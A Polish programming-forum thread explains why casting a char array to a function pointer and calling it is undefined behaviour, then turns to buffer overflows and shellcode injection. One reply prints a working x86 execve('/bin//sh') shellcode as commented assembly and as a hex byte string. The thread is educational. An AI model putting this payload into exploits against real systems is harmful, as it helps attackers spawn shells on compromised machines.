Problem ze zrozumieniem kodu z pointerami na funkcje i rzutowaniem

0

Cześć wszystkim

Chciałem Was prosić o pomoc jeśli chodzi o to co tak naprawdę wykonuje poniższy fragment kodu:

char some_string[] = "example";

int main()
{
    int (*func)();
    func = (int(*)())some_string;
    func();
}

Nie wiem czy dobrze rozumiem, ale ja widzę to tak:
int (*func)(); --> pointer o nazwie func na funkcję typu int

func = (int(*)())some_string; --> ustawiamy pointer func na zrzutowany pointer z charów na funkcję typu int? Tego nie jestem pewien. No, bo mamy char some_string[] = "example"; gdzie some_string to pointer na pierwszy bajt przypisanego do niego stringa. Jakim cudem można taki pointer zrzutować na pointer typu int i to jeszcze taki, który będzie wskazywał na funkcję tego typu? Ciężko mi to zrozumieć.

Tak to należy rozumieć jak opisałem powyżej czy źle myślę?

3

To tutaj to UB i bezsens. Czyli dobrze rozumiesz, ale w ramach ciekawostki zobacz: http://jroweboy.github.io/c/asm/2015/01/26/when-is-main-not-a-function.html

pointer typu int i to jeszcze taki, który będzie wskazywał na funkcję tego typu?

Dane i funkcje zwracające dane tego typu to zupełnie różne rzeczy. Nie było tu żadnego rzutowania na int

0
kq napisał(a):

To tutaj to UB i bezsens.

Tak w ramach ciekawostki i dywagacji. Jakby tak tablica some_string zawierała poprawne z punktu widzenia assemblera instrukcje (np. całe ciało prostej funkcji) to by chyba mogło się udać takie wywołanie? Coś jak analogicznie atak typu przepełnienie bufora i umieszczenie w pamięci shellcode.

0

Tak, nawet coś takiego podlinkowałem. Ale to wciąż UB.

2

Może nie w komentarzu :)

Akurat w shellcode injection chodzi o to, że jak mamy program z podatnością (np. w C używamy niebezpiecznych funkcji jak strcpy które to nie sprawdzają wielkości danych) to podanie do programu określonych zbyt dużych danych powoduje nadpisanie innych zmiennych programu, w szczególności można wstrzyknąć swój kod który chcemy wykonać. Na początek możesz poczytać tu https://pl.wikipedia.org/wiki/Przepe%C5%82nienie_bufora Dalej pogoogluj sam :)

1

To wyjdzie post pod postem bo @Shizzer prowadzi dyskusję w komentarzach :P

Z tym pisaniem shellcode'u chodzi o to, że musimy mieć kod assemblerowy robiący daną rzecz, np. uruchamiający powłokę. Nie jest to trudne, chociaż wymaga jakiejś tam wiedzy. Następnie wystarczy skompilować i odczytać rozkazy. https://dhavalkapil.com/blogs/Shellcode-Injection/ tu masz przykładowy shellcode:

Samo wywołanie powłoki robi się tak:

xor     eax, eax    ;Clearing eax register
push    eax         ;Pushing NULL bytes
push    0x68732f2f  ;Pushing //sh
push    0x6e69622f  ;Pushing /bin
mov     ebx, esp    ;ebx now has address of /bin//sh
push    eax         ;Pushing NULL byte
mov     edx, esp    ;edx now has address of NULL byte
push    ebx         ;Pushing address of /bin//sh
mov     ecx, esp    ;ecx now has address of address
                    ;of /bin//sh byte
mov     al, 11      ;syscall number of execve is 11
int     0x80        ;Make the system call

Po kompilacji i odczytaniu wygląda to nastepująco:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

I w zasadzie to wszystko.

Jeszcze troszkę wyjaśnień (co to za magic numbers przy sh i bin) co i jak masz tu https://reverseengineering.stackexchange.com/questions/8241/assembly-using-push-and-esp-register-to-store-addresses

1 użytkowników online, w tym zalogowanych: 0, gości: 1